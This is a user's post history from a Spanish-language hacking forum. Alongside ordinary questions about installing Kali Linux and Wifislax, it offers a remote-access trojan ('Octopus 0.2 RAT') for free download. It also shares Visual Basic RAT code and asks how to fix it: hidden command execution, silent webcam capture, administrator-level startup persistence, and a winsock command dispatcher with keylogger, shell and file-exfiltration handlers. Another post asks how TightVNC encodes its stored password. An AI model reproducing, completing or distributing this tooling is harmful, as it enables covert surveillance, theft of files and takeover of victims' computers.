Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - illuminat3d

#1
Hola alguien sabe identificar este ascii ? Creo que esta cifrado con otro algoritmo.
ASCII :    ÷ä`‚•Æê#
HEX :       f7e4608295c6ea23
DECIMAL :   247228096130149198234035
Necesito saber cual es el metodo para dejar una cadena como el ascii ese porque lo edito en el registro de la clave password del tightvnc.. no sera un retorno de bytes ? Pero por mas que lo convierto de hex a bytes queda en texto plano y no como lo muestro arriba. Ayuda por favoreee mamma miaaaa!!! Jajaja
#2
Hola soy yo de nuevo, he conseguido instalar el wifislax y el kali linux con su guest additions y todo despues de tantos problemas, el problema ahora es el siguiente la antena no me reconoce las redes!..





Que puede ser? en Wifislax tampoco..

Saludos espero ayuda!

#3
Hola de nuevo ya he conseguido instalar Kali Linux, ahora tengo un problema para instalar el Guest Additions, me pide librerias de version 4.14 de linux-headers y tengo la 4.15 he intentado instarlo desde el repositorio tambien pero me da el mismo error que insertando el disco.

Les dejo unas imagenes que hablan por si solas..





Como ven tengo para instalar las versiones de linux-headers 4.15 pero no la 4.14 como lo puedo solucionar?

Un saludo!
#4
Hola chicos y chicas de la comunidad elhacker!, bueno les comento, hace un dia que fui a buscar un nuevo portatil un Lenovo Y520 Legion, tengo virtualbox 5.2.0 instalado el problema viene cuando intento iniciar el Kali Linux 2018.2 y WifiSlax les dejo una captura en donde se me quedan las pantallas.

Aqui en Kali Linux he probado la version Light y la version normal las dos de 32 bits.



Se me quedan en el mismo lugar no se lo que quiere decir.

Y en cambio en WifiSlax 4.12 puedo iniciar el live y todo seleccionando la segunda opcion de inicio (kernel 486) para equipos antiguos. Ya que en la primera opcion no me carga, en la segunda puedo iniciar el live e instalarlo pero el problema viene una vez instalado cuando arranco no se me mueve el mouse (el puntero del raton no es capturado por wifislax).


Un Saludo espero que me puedan ayudar!  ;-)
#5
Software / Octopus 0.2 RAT - FREE (SharkI)
20 Julio 2017, 20:25 PM
¿Os acordais de la version 0.1 de este troyano? no era muy reconocida pero algunos la usaron, aqui os traigo la version 0.2, tiene unos pequeños bugs es monotarea y es detectada. La intenté vender pero hoy en dia hay muchas Herramientas de Administración Remota y a bajo precio, por lo cual aqui os lo dejo gratis para ustedes. Cualquier error o problema que tengan respondan al hilo.

[youtube=640,360]https://www.youtube.com/watch?v=aq7Vu2NKmVg&t=22s[/youtube]

Descargar
Enlace con clave : !tD2Hak8z5mZooMaBi6H8YNAjrwMPajjymWLArHP0yAg

Saludos!
#6
Hola buenas, como me borraron el mensaje del tema este pues he decidido crear uno nuevo.
La cuestion es que tengo un archivo con el manifesto con niveles para administrador "requireAdministrator", la falla de este al nivel "asInvoker" es que si añado el archivo al arranque del sistema de windows en la clave Run del registro no inicia, en cambio si lo pongo como invoker si inicia. ¿Hay alguna manera de iniciarlo como administrador cuando se reinicie el sistema?

Un saludo!  ;-)
#7
Hola a ver si alguien me hecha una mano tengo este codigo para ejecutar y leer la salida de los comandos en windows, se ejecutan y se ven perfectamente en versiones de XP hasta windows 7 he probado.. ahora en windows 8 y 10 crashea en un loop :

Código (vb) [Seleccionar]

   Do
       ret = ReadFile(hReadPipe, strBuff, 256, lngBytesRead, 0&)
       mOutputs = mOutputs & Left(strBuff, lngBytesRead)
   Loop While ret <> 0


Código (vb) [Seleccionar]


Public Declare Function CreatePipe Lib "kernel32" (phReadPipe As Long, phWritePipe As Long, lpPipeAttributes As Any, ByVal nSize As Long) As Long

Public Declare Function CreateProcessA Lib "kernel32" (ByVal lpApplicationName As Long, ByVal lpCommandLine As String, lpProcessAttributes As SECURITY_ATTRIBUTES, lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long

Public Declare Function CloseHandle Lib "kernel32" (ByVal hHandle As Long) As Long

Public Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, ByVal lpBuffer As String, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, ByVal lpOverlapped As Any) As Long



Public Type PROCESS_INFORMATION
  hProcess     As Long
  hThread      As Long
  dwProcessId  As Long
  dwThreadId   As Long
End Type

Public Type STARTUPINFO
  cb                As Long
  lpReserved        As Long
  lpDesktop         As Long
  lpTitle           As Long
  dwX               As Long
  dwY               As Long
  dwXSize           As Long
  dwYSize           As Long
  dwXCountChars     As Long
  dwYCountChars     As Long
  dwFillAttribute   As Long
  dwFlags           As Long
  wShowWindow       As Integer
  cbReserved2       As Integer
  lpReserved2       As Long
  hStdInput         As Long
  hStdOutput        As Long
  hStdError         As Long
End Type

Public Type SECURITY_ATTRIBUTES
  nLength                As Long
  lpSecurityDescriptor   As Long
  bInheritHandle         As Long
End Type



Public Function CMD(ByVal Comando As String) As String
On Error Resume Next
   Dim proc           As PROCESS_INFORMATION
   Dim ret            As Long
   Dim start          As STARTUPINFO
   Dim sa             As SECURITY_ATTRIBUTES
   Dim hReadPipe      As Long
   Dim hWritePipe     As Long
   Dim lngBytesRead   As Long
   Dim strBuff        As String * 256

   sa.nLength = Len(sa)
   sa.bInheritHandle = 1&
   sa.lpSecurityDescriptor = 0&
   ret = CreatePipe(hReadPipe, hWritePipe, sa, 0)

   If ret = 0 Then CMD = "Fallo de Conexion con Proceso. Error: " & Err.LastDllError: Exit Function

   start.cb = Len(start)
   start.dwFlags = STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW
   start.hStdOutput = hWritePipe
   start.hStdError = hWritePipe

   mCommand = Environ("COMSPEC") + " /c " + Comando

   ret& = CreateProcessA(0&, mCommand, sa, sa, 1&, NORMAL_PRIORITY_CLASS, 0&, 0&, start, proc)

   If ret <> 1 Then CMD = "Archivo o comando no encontrado": Exit Function

   ret = CloseHandle(hWritePipe)
   mOutputs = ""
   
   ' CRASHEA En versiones mayores a Windows 7
   If InStr(1, SO, "Windows 8") Or InStr(1, SO, "Windows 10") Then Exit Function
   
   Do
       ret = ReadFile(hReadPipe, strBuff, 256, lngBytesRead, 0&)
       mOutputs = mOutputs & Left(strBuff, lngBytesRead)
   Loop While ret <> 0
   ret = CloseHandle(proc.hProcess)
   ret = CloseHandle(proc.hThread)
   ret = CloseHandle(hReadPipe)

   CMD = mOutputs

   Exit Function
End Function



A ver si alguien lo puede probar quizas puede ser por otra cosa! un saludo! :P
#8
Es un codigo sencillo, es para capturar la camara web, lo que quiero saber es como evitar que salga el dialogo para seleccionar el source de la camara, obtenerlo por otro medio el source y seleccionarlo de una forma diferente, la linea que muestra el dialogo es la siguiente :

Código (vb) [Seleccionar]
SendMessage mCapHwnd, 1034, 0, 0

El codigo solo necesita un picturebos y un timer para que lo prueben.

Código (vb) [Seleccionar]

Private Declare Function SendMessage Lib "USER32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function capCreateCaptureWindow Lib "avicap32.dll" Alias "capCreateCaptureWindowA" (ByVal lpszWindowName As String, ByVal dwStyle As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hwndParent As Long, ByVal nID As Long) As Long

Private mCapHwnd As Long
Private Sub Form_Load()
STARTCAM
End Sub

Private Sub Timer1_Timer()
SendMessage mCapHwnd, 1084, 0, 0
SendMessage mCapHwnd, 1054, 0, 0
Picture1.Picture = Clipboard.GetData
End Sub

Sub STARTCAM()
mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 640, 480, Me.hwnd, 0)
'DoEvents
SendMessage mCapHwnd, 1034, 0, 0
End Sub



Un saludo y espero algunas ideas! ;)
#9
Chicos, necesito ayuda para transferir un archivo a tra vez de winsock he aqui el codigo :

Cliente :

Código (vb) [Seleccionar]
Private Sub WS_DataArrival(Index As Integer, ByVal bytesTotal As Long)
  WS(Index).GetData Datos
 
  If String(Len(Datos), Chr(0)) <> "" Then tDatos = tDatos & Datos
 
  If InStr(1, tDatos, "/S/") Then
    Data = Split(tDatos, "|")
    tDatos = ""
   
    Select Case Data(1)
      Case "Conexion":      Call vConexion(Index)
      Case "Informacion":   Call vInformation
      Case "Procesos":      Call vProcess
      Case "ActualizarP":   Call vAProcess
      Case "sServicios":    Call vServices
      Case "ActualizarS":   Call vAServices
      Case "Conexiones":    Call vConexiones
      Case "ActualizarA":   Call vAAdaptadores
      Case "ObtenerWebs":   Call vOWebs
      Case "TcpUdp":        Call vTcpUdp
      Case "Keylogger":     Call vKeylogger
      Case "Shell":         Call vShell
      Case "RefrescarWnd":  Call vRWind
      Case "Chat":          Call vChat
      Case "lstDrivers":    Call vlDrivers
      Case "lstFiles":      Call vlFiles
      Case "ErrorServidor": Call vEServer
      Case "sRegistro":     Call vRegistro
      Case "Keylogger":     Call vKeylogger
      Case "dwnFile":       Call dwnFile
    End Select
  End If
End Sub


Código (vb) [Seleccionar]
Public Function dwnFile()
  Dim aBuff         As String
  Dim Archivo       As String
 
  FF = FreeFile
  Archivo = Data(3)
 
        If Dir(App.Path & "\Descargas", vbDirectory) = "" Then MkDir (App.Path & "\Descargas")
        Open App.Path & "\Descargas\" & Archivo For Binary As FF
                aBuff = Space(LOF(FF))
                Get FF, , aBuff
        Close FF
       
        Open App.Path & "\Descargas\" & Archivo For Binary As FF
                Put FF, , aBuff + Data(2)
        Close FF
       
        For i = 1 To TotalVentanas
            For z = 1 To frmMain.LV.ListItems.Count
                With frmFunciones(i)
                 If .Caption = Data(4) Then
                        MsgBox "Se ha descargado el archivo correctamente!", vbInformation, frmFunciones(i).Caption
                 End If
                End With
            Next z
        Next i
End Function


Servidor :

Código (vb) [Seleccionar]
Public Function dwFile()
On Error GoTo Err
  Dim aBuff       As String
  Dim xBuff       As String
  Dim cPacks      As String

  frmEspecifico = Data(3)
  FF = FreeFile
 
  Open Data(2) For Binary As FF
    aBuff = Space(LOF(FF))
    Get FF, , aBuff
  Close FF
 
  cPacks = CInt(Len(aBuff) / 8192) '8192
  If InStr(1, cPacks, ",") Then If Split(cPacks, ",")(1) > 0 Then cPacks = Split(cPacks, ",")(0) + 1
  If Len(aBuff) > 8192 And cPacks > 0 Then
        For i = 0 To cPacks
            If i > 0 Then xBuff = Mid(aBuff, (i * 8192) - 1, Len(aBuff)) Else xBuff = Mid(aBuff, 1, Len(aBuff))
            If frmMain.WS.State = 7 Then frmMain.WS.SendData "/S/|dwnFile|" & xBuff & "|" & Split(Data(2), "\")(UBound(Split(Data(2), "\"))) & "|" & frmEspecifico
        Next i
  End If
 
Err: If Err.Number > 0 Then frmMain.WS.SendData "|ErrorServidor|" & Err.Number & "|"
End Function



En la linea del cliente Archivo = Data(3) me sale contenido del archivo en vez de salirme el nombre del archivo como la mando desde el servidor, ya probe con diferentes delimitadores para ver si era los simples "|"  pero no ..

Alguien me puede poner un ejemplo sencillo sobre como hacer una descarga y una subida de archivos?.. o que ven mal en el code?

Un saludo! si hace falta mas codigo lo pongo.




Alguien que me ayude con el envio de archivos de mas de X bytes?..
Necesito un ejemplo, quien se anima?..

Un saludo!

MOD EDIT: No hacer doble post.
#10
Sobre este proyecto

Leandro no se donde utilizas los eventos del modulo de clase del Registro. No veo ninguna llamada a los EnumValues etc en el codigo solo veo esto

Código (vb) [Seleccionar]

                Case 4
                    RegistryID = WinSock32.WsConnect(ServerIP, ServerPuerto, True)
                   
                    If RegistryID <> 0 Then
                   
                        Dim cRemoteReg As ClsRemoteRegistry
                        Set cRemoteReg = New ClsRemoteRegistry
                        cRemoteReg.ID_Connection = RegistryID
                        cColl.Add cRemoteReg, CStr(RegistryID)
                       
                        WinSock32.SendData RegistryID, 6 & Delimiter & Cmd(1)


Modulo del registro :

Código (vb) [Seleccionar]

Option Explicit
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Private Declare Function RegEnumKeyEx Lib "advapi32.dll" Alias "RegEnumKeyExA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpName As String, lpcbName As Long, ByVal lpReserved As Long, ByVal lpClass As String, lpcbClass As Long, lpftLastWriteTime As Any) As Long
Private Declare Function RegRestoreKey Lib "advapi32.dll" Alias "RegRestoreKeyA" (ByVal hKey As Long, ByVal lpFile As String, ByVal dwFlags As Long) As Long
Private Declare Function RegSaveKey Lib "advapi32.dll" Alias "RegSaveKeyA" (ByVal hKey As Long, ByVal lpFile As String, ByVal lpSecurityAttributes As Long) As Long
Private Declare Function RegEnumValue Lib "advapi32.dll" Alias "RegEnumValueA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, lpcbValueName As Long, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByRef lpData As Any, lpcbData As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByRef lpData As Any, ByVal cbData As Long) As Long
Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long

Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Private Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Private Declare Function LookupPrivilegeValue Lib "advapi32.dll" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLuid As Luid) As Long
Private Declare Function AdjustTokenPrivileges Lib "advapi32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, ByVal PreviousState As Long, ByVal ReturnLength As Long) As Long

Private Const ERROR_SUCCESS = 0&
Private Const ERROR_FILE_NOT_FOUND = 2&

Private Const KEY_QUERY_VALUE = &H1&
Private Const KEY_SET_VALUE = &H2&
Private Const KEY_CREATE_SUB_KEY = &H4&
Private Const KEY_ENUMERATE_SUB_KEYS = &H8&
Private Const KEY_NOTIFY = &H10&
Private Const KEY_CREATE_LINK = &H20&
Private Const READ_CONTROL = &H20000
Private Const WRITE_DAC = &H40000
Private Const WRITE_OWNER = &H80000
Private Const SYNCHRONIZE = &H100000
Private Const STANDARD_RIGHTS_REQUIRED = &HF0000
Private Const STANDARD_RIGHTS_READ = READ_CONTROL
Private Const STANDARD_RIGHTS_WRITE = READ_CONTROL
Private Const STANDARD_RIGHTS_EXECUTE = READ_CONTROL
Private Const STANDARD_RIGHTS_ALL = &H1F0000
Private Const KEY_READ = STANDARD_RIGHTS_READ Or KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY
Private Const KEY_WRITE = STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY
Private Const KEY_EXECUTE = KEY_READ
Private Const KEY_ALL_ACCESS = ((STANDARD_RIGHTS_ALL Or KEY_QUERY_VALUE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY Or KEY_CREATE_LINK) And (Not SYNCHRONIZE))
Private Const REG_FORCE_RESTORE = &H8
Private Const TOKEN_ADJUST_PRIVLEGES = &H20
Private Const TOKEN_QUERY = &H8
Private Const SE_PRIVILEGE_ENABLED = &H2
Private Const SE_RESTORE_NAME = "SeRestorePrivilege"
Private Const SE_BACKUP_NAME = "SeBackupPrivilege"

Private Type Luid
    lowpart As Long
    highpart As Long
End Type

Private Type LUID_AND_ATTRIBUTES
    pLuid As Luid
    Attributes As Long
End Type

Private Type TOKEN_PRIVILEGES
    PrivilegeCount As Long
    Privileges(1) As LUID_AND_ATTRIBUTES
End Type

Public Enum rcMainKey
    HKEY_CLASSES_ROOT = &H80000000
    HKEY_CURRENT_USER = &H80000001
    HKEY_LOCAL_MACHINE = &H80000002
    HKEY_USERS = &H80000003
    HKEY_PERFORMANCE_DATA = &H80000004
    HKEY_CURRENT_CONFIG = &H80000005
    HKEY_DYN_DATA = &H80000006
End Enum

Public Enum rcRegType
    REG_NONE = 0
    REG_SZ = 1
    REG_EXPAND_SZ = 2
    REG_BINARY = 3
    REG_DWORD = 4
    REG_DWORD_LITTLE_ENDIAN = 4
    REG_DWORD_BIG_ENDIAN = 5
    REG_LINK = 6
    REG_MULTI_SZ = 7
    REG_RESOURCE_LIST = 8
    REG_FULL_RESOURCE_DESCRIPTOR = 9
    REG_RESOURCE_REQUIREMENTS_LIST = 10
End Enum

Public Event SearchFound(ByVal key As String, ByVal Value As String, ByVal RegType As rcRegType, ByVal Data As Variant)

Private m_hToken        As Long
Private m_TP            As TOKEN_PRIVILEGES

Private hKey             As Long
Private mKey             As Long
Private sKey             As String
Private mFindInKey      As Boolean
Private mFindInValue    As Boolean
Private mFindInData     As Boolean
Private mStrSearch      As String
Private bCancelSearch   As Boolean
Private m_bDoEvents     As Boolean

Public Sub SetSearchOption(ByVal sSearch As String, ByVal FindInKey As Boolean, ByVal FindInValue As Boolean, ByVal FindInData As Boolean, Optional ByVal CallDoEvents As Boolean)
    mStrSearch = sSearch
    mFindInKey = FindInKey
    mFindInValue = FindInValue
    mFindInData = FindInData
    m_bDoEvents = CallDoEvents
End Sub

Public Sub CancelSearch()
    bCancelSearch = True
End Sub

Public Sub StarSearch(ByVal sPath As String)
    Dim i As Long
    Dim ArrKeys() As Variant
    bCancelSearch = False
    If sPath = vbNullString Then
        ArrKeys = Array("HKEY_CLASSES_ROOT", "HKEY_CURRENT_USER", "HKEY_LOCAL_MACHINE", "HKEY_USERS", "HKEY_CURRENT_CONFIG")
        For i = 0 To 4
            If bCancelSearch Then Exit Sub
            If m_bDoEvents Then DoEvents
            PvFindInValueAndData ArrKeys(i)
            PvFindInKeys ArrKeys(i)
        Next
    Else
        PvFindInValueAndData sPath
        PvFindInKeys sPath
    End If
End Sub

Private Sub PvFindInKeys(ByVal sPath As String)
    Dim lCount As Long
    Dim sKeys() As String
    Dim sCurPath As String
    Dim i As Long

    lCount = EnumKeys(sPath, sKeys)

    If lCount Then
        For i = 0 To lCount - 1
            sCurPath = sPath & "\" & sKeys(i)
           
            If mFindInKey Then
                If InStr(sKeys(i), mStrSearch) Then
                    RaiseEvent SearchFound(sCurPath, vbNullString, REG_NONE, vbNull)
                End If
            End If
           
            If (mFindInValue = True) Or (mFindInData = True) Then
                PvFindInValueAndData sCurPath
            End If
           
            If bCancelSearch Then Exit Sub
            If m_bDoEvents Then DoEvents
            PvFindInKeys sCurPath
        Next
    End If

End Sub

Private Sub PvFindInValueAndData(sPath)
    Dim lCount As Long
    Dim sValue() As String
    Dim lRegType() As Long
    Dim sData() As Variant
    Dim i As Long
    Dim bFind As Boolean
   
    lCount = EnumValues(sPath, sValue, lRegType, sData, True)
   
    For i = 0 To lCount - 1
        If bCancelSearch Then Exit Sub
        If mFindInValue Then
            If InStr(sValue(i), mStrSearch) Then
                RaiseEvent SearchFound(sPath, sValue(i), lRegType(i), sData(i))
                bFind = True
            Else
                bFind = False
            End If
        End If
       
        If mFindInData Then
           If Not bFind Then
                If InStr(sData(i), mStrSearch) Then
                    RaiseEvent SearchFound(sPath, sValue(i), lRegType(i), sData(i))
                End If
            End If
        End If
    Next
End Sub

Public Function CreateKey(ByVal sPath As String) As Boolean
    hKey = GetKeys(sPath, sKey)
   
    If (RegCreateKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
        RegCloseKey mKey
        CreateKey = True
    End If
End Function

Public Function KillKey(ByVal sPath As String) As Long
    Dim sKeys() As String, nKeys As Long, i As Long
   
    nKeys = EnumKeys(sPath, sKeys)
    If nKeys > 0 Then
        For i = 0 To nKeys - 1
            KillKey sPath & "\" & sKeys(i)
        Next i
    End If
   
    hKey = GetKeys(sPath, sKey)
   
    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
        KillKey = (RegDeleteKey(mKey, "") = ERROR_SUCCESS)
        RegCloseKey mKey
    End If
   
End Function

Public Function KeyExists(ByVal sPath As String) As Boolean
    hKey = GetKeys(sPath, sKey)
    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
        KeyExists = True
        RegCloseKey mKey
    End If
End Function


Function RenameKey(ByVal sKeySource As String, ByVal sNewName As String) As Boolean
    Dim hKeySource As Long
    Dim hKeyDestination As Long
    Dim sFile As String
   
    On Error GoTo ErrHandler
   
    sNewName = Mid(sKeySource, 1, InStrRev(sKeySource, "\")) & sNewName
    hKey = GetKeys(sNewName, sKey)
    sNewName = sKey
    hKey = GetKeys(sKeySource, sKey)

    SetBackupAndRestorePriviliges
    sFile = Environ$("Temp") & "\TempReg.reg"
    If Len(Dir(sFile)) > 0 Then Kill sFile

    If (RegOpenKey(hKey, sKey, hKeySource) = ERROR_SUCCESS) Then
        If (RegSaveKey(hKeySource, sFile, 0&) = ERROR_SUCCESS) Then
            If (RegOpenKey(hKey, sNewName, hKeyDestination) = ERROR_FILE_NOT_FOUND) Then
                If KillKey(sKeySource) = True Then
                    If (RegCreateKey(hKey, sNewName, hKeyDestination) = ERROR_SUCCESS) Then
                        RenameKey = (RegRestoreKey(hKeyDestination, sFile, REG_FORCE_RESTORE) = ERROR_SUCCESS)
                    End If
                End If
                RegCloseKey hKeyDestination
            End If
        End If
        RegCloseKey hKeySource
    End If
   
    ResetBackupAndRestorePriviliges
    If Len(Dir(sFile)) > 0 Then Kill sFile
ErrHandler:

End Function

Public Function EnumKeys(ByVal sPath As String, ByRef key() As String) As Long
    Dim sName As String, RetVal As Long
   
    hKey = GetKeys(sPath, sKey)
   
    Erase key
   
    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then

        Do
            sName = String(255, vbNullChar)
            RetVal = Len(sName)
           
            If (RegEnumKeyEx(mKey, EnumKeys, sName, RetVal, ByVal 0&, vbNullString, ByVal 0&, ByVal 0&) <> ERROR_SUCCESS) Then Exit Do
           
            ReDim Preserve key(EnumKeys)
            key(EnumKeys) = Left$(sName, RetVal)
                       
            EnumKeys = EnumKeys + 1

        Loop
   
        RegCloseKey mKey
    Else
        EnumKeys = -1
    End If
End Function

Public Function HaveSubKey(ByVal sPath As String) As Boolean
    Dim sName As String, RetVal As Long
   
    hKey = GetKeys(sPath, sKey)
   
    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
        sName = String(255, 0)
        RetVal = Len(sName)
        HaveSubKey = (RegEnumKeyEx(mKey, 0, sName, RetVal, ByVal 0&, vbNullString, ByVal 0&, ByVal 0&) = ERROR_SUCCESS)
        RegCloseKey mKey
    End If
End Function

Public Function CreateValue(ByVal sPath As String, ByVal sName As String, ByVal nType As rcRegType) As Boolean
    hKey = GetKeys(sPath, sKey)
    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
        CreateValue = (RegSetValueEx(mKey, sName, 0, nType, 0&, 0&) = ERROR_SUCCESS)
        RegCloseKey mKey
    End If
End Function

Public Function KillValue(ByVal sPath As String, ByVal sName As String) As Boolean

    hKey = GetKeys(sPath, sKey)
   
    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
        KillValue = (RegDeleteValue(mKey, sName) = ERROR_SUCCESS)
        RegCloseKey mKey
    End If
   
End Function

Public Function ValueExists(ByVal sPath As String, ByVal sName As String) As Boolean
   
    hKey = GetKeys(sPath, sKey)

    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
        ValueExists = (RegQueryValueEx(mKey, sName, 0&, 0&, ByVal 0&, 0&) = ERROR_SUCCESS)
        RegCloseKey mKey
    End If
   
End Function

Public Function RenameValue(ByVal sPath As String, ByVal sName As String, ByVal sNewName As String) As Boolean
    Dim lLenBuff As Long
    Dim bData() As Byte
    Dim lType As Long

   
    hKey = GetKeys(sPath, sKey)
   
    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
        If RegQueryValueEx(mKey, sName, 0, lType, ByVal 0&, lLenBuff) = ERROR_SUCCESS Then
           If lLenBuff Then
                ReDim bData(lLenBuff - 1)
                If (RegQueryValueEx(mKey, sName, 0, REG_BINARY, bData(0), lLenBuff) = ERROR_SUCCESS) Then
                    If RegSetValueEx(mKey, sNewName, 0, lType, bData(0), lLenBuff) = ERROR_SUCCESS Then
                        RenameValue = (RegDeleteValue(mKey, sName) = ERROR_SUCCESS)
                    End If
                End If
            Else
                If (RegSetValueEx(mKey, sNewName, 0, lType, 0&, 0&) = ERROR_SUCCESS) Then
                    RenameValue = (RegDeleteValue(mKey, sName) = ERROR_SUCCESS)
                End If
            End If
        End If
        RegCloseKey mKey
    End If
End Function

Public Function EnumValues(ByVal sPath As String, ByRef sValue() As String, ByRef lRegType() As Long, ByRef vData() As Variant, Optional ByVal ReturnString As Boolean) As Long
    Dim sValueName As String
    Dim LenName As Long
    Dim LenData As Long
    Dim Index As Long
    Dim EnuRegType As rcRegType

   
    Erase sValue
    Erase vData
    Erase lRegType
   
    hKey = GetKeys(sPath, sKey)
   
    If hKey = 0 Then EnumValues = -1: Exit Function

    If RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS Then
       
        Do
            sValueName = String(255, vbNullChar)
            LenName = Len(sValueName)

            If (RegEnumValue(mKey, Index, ByVal sValueName, LenName, 0, EnuRegType, ByVal 0&, LenData) = ERROR_SUCCESS) Then
                sValueName = Left$(sValueName, LenName)
                ReDim Preserve sValue(Index)
                ReDim Preserve vData(Index)
                ReDim Preserve lRegType(Index)
                               
                sValue(Index) = sValueName
                lRegType(Index) = EnuRegType
               
                Select Case EnuRegType
                    Case REG_SZ, REG_MULTI_SZ, REG_EXPAND_SZ
                        Dim sData As String
                        If LenData > 0 Then
                            sData = String(LenData - 1, vbNullChar)
                            Call RegQueryValueEx(mKey, sValueName, 0, EnuRegType, ByVal sData, LenData)
                            vData(Index) = sData
                        Else
                            vData(Index) = vbNullString
                        End If
                       
                    Case REG_DWORD
                        Dim lVal As Long
                        lVal = 0
                        Call RegQueryValueEx(mKey, sValueName, 0, EnuRegType, lVal, 4)
                         vData(Index) = lVal
                    Case REG_BINARY
                        Dim ArrData() As Byte
                        If LenData > 0 Then
                            If ReturnString Then
                                sData = String(LenData, vbNullChar)
                                Call RegQueryValueEx(mKey, sValueName, 0, EnuRegType, ByVal sData, LenData)
                                vData(Index) = sData
                            Else
                                ReDim ArrData(LenData - 1)
                                Call RegQueryValueEx(mKey, sValueName, 0, EnuRegType, ArrData(0), LenData)
                                vData(Index) = ArrData
                            End If
                        End If
                         
                End Select
             
                Index = Index + 1
            Else
                Exit Do
            End If
        Loop
       
        RegCloseKey hKey
        EnumValues = Index
    Else
        EnumValues = -1
    End If
   
End Function

Public Function ReadValue(ByVal sPath As String, ByVal sName As String, Optional vDefault As Variant = vbNullChar) As Variant
    Dim LenData As Long
    Dim EnuRegType As rcRegType

   
    hKey = GetKeys(sPath, sKey)

    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
       
        If (RegQueryValueEx(mKey, sName, 0, EnuRegType, ByVal 0&, LenData) = ERROR_SUCCESS) Then

            Select Case EnuRegType
                Case REG_SZ, REG_MULTI_SZ, REG_EXPAND_SZ
                    Dim sData As String
                    If LenData > 0 Then
                        sData = String$(LenData - 1, vbNullChar)
                        If (RegQueryValueEx(mKey, sName, 0, EnuRegType, ByVal sData, LenData) = ERROR_SUCCESS) Then
                            ReadValue = sData
                        Else
                            ReadValue = CStr(vDefault)
                        End If
                    Else
                        ReadValue = vbNullString
                    End If
                   
                Case REG_DWORD
                    Dim lVal As Long
                               
                    If (RegQueryValueEx(mKey, sName, 0, EnuRegType, lVal, 4) = ERROR_SUCCESS) Then
                        ReadValue = lVal
                    Else
                        ReadValue = CLng(vDefault)
                    End If
                   
                Case REG_BINARY
                    Dim ArrData() As Byte
                    If LenData > 0 Then
                        ReDim ArrData(LenData - 1)
                        If (RegQueryValueEx(mKey, sName, 0, EnuRegType, ArrData(0), LenData) = ERROR_SUCCESS) Then
                            ReadValue = ArrData
                        Else
                            ArrData = vDefault
                        End If
                    Else
                        ArrData = vDefault
                    End If
                     
            End Select
        End If
        RegCloseKey mKey
    End If
End Function

Public Function WriteValue(ByVal sPath As String, ByVal sName As String, ByVal vValue As Variant) As Boolean
    Dim LenData As Long
    Dim bData() As Byte
    Dim EnuRegType As rcRegType
    Dim lRet As Long

    hKey = GetKeys(sPath, sKey)

    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
   
        If sName = vbNullString Then
            EnuRegType = REG_SZ
        Else
            lRet = RegQueryValueEx(mKey, sName, 0, EnuRegType, ByVal 0&, LenData)
        End If
       
        If (lRet = ERROR_SUCCESS) Then
            Select Case EnuRegType
                Case REG_SZ, REG_MULTI_SZ, REG_EXPAND_SZ
                   
                    LenData = Len(vValue)

